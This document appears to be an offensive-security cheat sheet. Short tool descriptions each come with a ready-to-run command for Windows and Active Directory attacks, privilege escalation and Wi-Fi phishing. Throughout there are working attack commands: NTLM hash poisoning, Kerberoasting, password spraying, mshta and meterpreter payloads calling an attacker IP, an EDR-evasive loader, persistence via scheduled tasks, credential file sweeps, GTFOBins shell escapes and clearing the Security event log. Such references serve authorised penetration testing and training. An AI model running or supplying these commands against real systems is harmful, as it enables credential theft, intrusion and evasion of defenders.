An LLMNR, NBT-NS and MDNS poisoner that harvests NTLM credential hashes from Windows networks that still fall back to these legacy name-resolution protocols.

sudo responder -I eth0 -wrf

Web-based reverse shell generator covering many languages/encodings at once, auto-filling your IP/port and offering URL-encoding and MSFVenom variants without hand-editing a template.

A C# toolset for raw Kerberos interaction and abuse — Kerberoasting, AS-REP roasting, ticket forging and pass-the-ticket, the standard reference implementation for Windows AD Kerberos attacks.

Rubeus.exe kerberoast /outfile:hashes.txt

Abuses Exchange client access protocols (MAPI/HTTP, Autodiscover) for brute-forcing and, historically, for gaining remote code execution via malicious Outlook rules/forms.

ruler --domain corp.com brute --users users.txt --passwords pass.txt

mshta.exe executes HTML Application files straight off a URL, one of the most common LOLBAS initial-execution paths.

mshta.exe http://10.10.14.7/payload.hta

An extremely fast port scanner written in Rust that pipes its results straight into nmap for service detection — the "scan the internet in seconds" front end to nmap's slower, thorough back end.

rustscan -a 10.10.10.10 -- -sC -sV

Payload creation framework that wraps shellcode in a signed, EDR-evasive loader using techniques such as syscall unhooking and process herpaderping.

ScareCrow -I beacon.bin -Loader binary -domain -O beacon.exe

The built-in Task Scheduler CLI, used to re-run something on logon or on a timer — no third-party persistence tooling required.

schtasks /create /sc onlogon /tn "Updater" /tr "C:\Windows\Temp\run.exe" /rl highest

A fast sweep for password manager databases, saved RDP sessions and private keys, which are usually worth more than any exploit.

Get-ChildItem C:\Users -Include *.kdbx,*.rdp,*.ppk,*.pem -Recurse -ErrorAction SilentlyContinue

Shell scripts ignore the SUID bit on Linux, but finding one still flags a misconfigured wrapper worth investigating for a symlink or race-condition attack.

find / -xdev -perm -4000 -exec file {} \; 2>/dev/null | grep -i script

Config files, scripts and old backups routinely have a plaintext password embedded; this sweeps common extensions in one pass.

Get-ChildItem C:\ -Include *.config,*.xml,*.txt,*.ini -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern 'password' -List

GhostPack C# host-survey tool — dozens of checks (AV, patches, tokens, AppLocker, WSUS, etc) run in one pass to build a picture of a landed Windows host.

Seatbelt.exe -group=all

Abuses GPO edit rights a low-privileged account was granted, pushing a malicious immediate scheduled task/user right to any computer the GPO applies to.

SharpGPOAbuse.exe --AddComputerTask --TaskName evil --Author corp\user --Command cmd.exe --GPOName "Default Domain Policy"

The C# data-collector for BloodHound — run on or against a domain-joined host to gather the sessions, ACLs and group data BloodHound turns into an attack-path graph.

.\SharpHound.exe -c All

MDSec payload generation framework producing JS, VBS, HTA and macro payloads with staged/stageless delivery, sandbox-evasion and DotNetToJScript-style execution.

python SharpShooter.py --stageless -o out --dotnetver 4 --com --output raw

C# port of PowerUp — automated checks for common Windows local privilege-escalation vectors (unquoted service paths, weak service ACLs, AlwaysInstallElevated, etc).

SharpUp.exe audit

Post-exploitation C2 using IronPython/.NET (BoO — "Bring your Own Interpreter") to dodge signature-based detection of PowerShell and classic .NET loaders.

An open-source, cross-platform adversary-emulation (C2) framework from BishopFox — implants, dynamic code generation and a scriptable operator console for authorised red-team exercises.

Crawls every SMB share a compromised user can reach and greps for credentials, config secrets and other juicy files, ranking hits by how interesting they look.

Snaffler.exe -d corp.local -o snaffler.log

An automation engine for OSINT, but used heavily on the offensive side too: point it at a domain and it fans out across dozens of data sources to map the whole external attack surface.

spiderfoot -s target.tld -u all

Wraps password spraying against Lync/Skype for Business and OWA with sane delays and lockout-avoidance logic baked in.

./atomizer.py owa 10.10.10.5 users.txt Summer2026!

Automates detecting and exploiting SQL injection vulnerabilities, including database fingerprinting, data extraction and, where the DBMS allows it, OS command execution.

sqlmap -u 'http://target/?id=1' --batch --dbs

wmic process call create starts a process with no visible console window, and works against a remote host with /node.

wmic process call create "cmd.exe /c whoami > C:\Windows\Temp\out.txt"

Traces every syscall a binary makes — the fastest way to spot a privesc-relevant file it reads/writes, or a library it loads from a writable path.

strace -f -e trace=open,openat,execve ./suspicious-binary 2>&1 | less

Datadog's "Atomic Red Team for the cloud" — a library of self-contained, granular attack techniques against AWS/Azure/GCP (disable CloudTrail, create an access key, assume a role) for testing whether cloud detections actually catch them.

stratus detonate aws.persistence.iam-backdoor-role

The very first command in any Linux privesc checklist: lists every command the current user is allowed to sudo, which is the input GTFOBins entries actually key off.

sudo -l

systemctl status pipes its output through less by default; from inside that pager, !/bin/sh spawns a shell — a real GTFOBins entry that surprises a lot of people.

sudo systemctl status trivial-rce-cve
# once the pager opens, type: !/bin/sh

GNU tar's --checkpoint-action flag can be abused to run an arbitrary command mid-archive — one of the less obvious GTFOBins entries.

tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Modular password-spraying tool with built-in modules for O365, Okta, OWA and more, plus optional proxying and Slack notifications for long-running sprays.

trevorspray -U users.txt -p Summer2026! --module o365enum

Generates a PowerShell downgrade-attack payload (magic unicorn) that bypasses application whitelisting and injects shellcode straight into memory.

python3 unicorn.py windows/meterpreter/reverse_https 10.10.14.7 443

Turns a bare reverse/bind shell into a full interactive TTY with job control, tab completion and arrow keys.

python3 -c 'import pty;pty.spawn("/bin/bash")'
# then background it and fix the terminal:
# ^Z
stty raw -echo; fg
export TERM=xterm; stty rows 50 cols 200

Open-source, USB-stick-sized ARM computer running full Linux — used to build a self-contained portable pentest/forensics/HSM-style implant that presents as an ordinary USB device.

Terminal-based C2 for managing and pivoting between multiple reverse/bind shells over HoaxShell-style HTTP payloads, with shell sharing between attacker machines.

python3 Villain.py

vim's :! escape runs a shell command — with sudo vim or a SUID vim binary that shell inherits the elevated privilege.

vim -c ':!/bin/sh'

GTFOBins-style interactive cheat sheet for offensive Windows/Active Directory commands (PowerShell, WMI, native binaries) covering recon through lateral movement.

wevtutil is the signed, built-in way to clear an event log channel — worth knowing for blue-team log-tampering detection just as much as red-team tradecraft.

wevtutil cl Security

Adds/lists/removes "Shadow Credentials" (msDS-KeyCredentialLink) on an AD object to authenticate as it via PKINIT without knowing its password.

Whisker.exe add /target:victim$

Hak5's dedicated rogue-AP/MITM hardware appliance — recon, karma/evil-twin attacks and traffic capture through a web dashboard and a modules ecosystem, built for field engagements.

Rogue access point framework built around social-engineering captive portals (fake firmware upgrade, router config pages) rather than brute-forcing the handshake.

sudo wifiphisher -aI wlan0 -jI wlan1 -p firmware-upgrade

Python rewrite of the "point it at every visible network" Wi-Fi auditing wrapper — automates monitor mode, handshake/PMKID capture and WPS attacks via aircrack-ng/hcxtools/reaver/bully.

sudo wifite --dict /path/to/wordlist.txt
# target one BSSID only:
sudo wifite -e "Target-SSID" --dict wordlist.txt

Given valid credentials, wmic can start a process on a remote machine — a built-in lateral-movement primitive that needs no extra tooling on disk.

wmic /node:10.10.10.10 /user:DOMAIN\user /password:pass process call create "cmd.exe /c whoami > C:\out.txt"

A black-box WordPress security scanner — enumerates plugins, themes and users, and checks versions against a maintained vulnerability database.

wpscan --url https://target.tld --enumerate vp,vt,u

A cross-site scripting detection suite that fuzzes parameters with a context-aware payload generator, rather than firing a static payload list at everything.

python3 xsstrike.py -u "https://target.tld/search?q=test"

Generates payloads that exploit unsafe Java object deserialization across a wide range of common libraries — the standard reference tool for Java deserialisation attacks.

java -jar ysoserial.jar CommonsCollections6 "id" > payload.bin